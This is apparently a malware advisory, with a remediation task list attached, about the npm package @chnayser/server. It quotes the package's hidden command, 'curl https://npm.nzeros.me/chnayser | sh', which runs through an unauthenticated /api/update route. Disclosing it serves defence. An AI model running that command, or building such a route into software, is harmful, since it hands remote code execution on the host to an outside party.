MAL-2026-13374 Malicious code in @chnayser/server (npm)
Malicious package
Published
MAL-2026-13374 is a malicious package: @chnayser/server (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-13374/ (Markdown: https://insights.sbomify.com/MAL-2026-13374/index.md)
- Package
- @chnayser/server
- Registry
- npm
What is MAL-2026-13374?
MAL-2026-13374 is a malicious package in @chnayser/server, published on 5 Aug 2026.
Official description
The package's Express server (started via the advertised startServer/createApp entry points) mounts a GET route at /api/update whose handler executes
curl https://npm.nzeros.me/chnayser | sh via child_process.execSync (dist/routes.js line 22). The route requires no authentication and is framed as a health/update probe. Any client that can reach the bound address (default 127.0.0.1:4300, overridable via a host option) causes the server process to fetch a shell script from npm.nzeros.me — a domain unrelated to the package's declared publisher — and execute it under /bin/sh. The fetched content is mutable and controlled by whoever owns npm.nzeros.me, giving that party arbitrary remote code execution on the installer's host whenever the server is running and the endpoint is reachable.What should I do about MAL-2026-13374?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.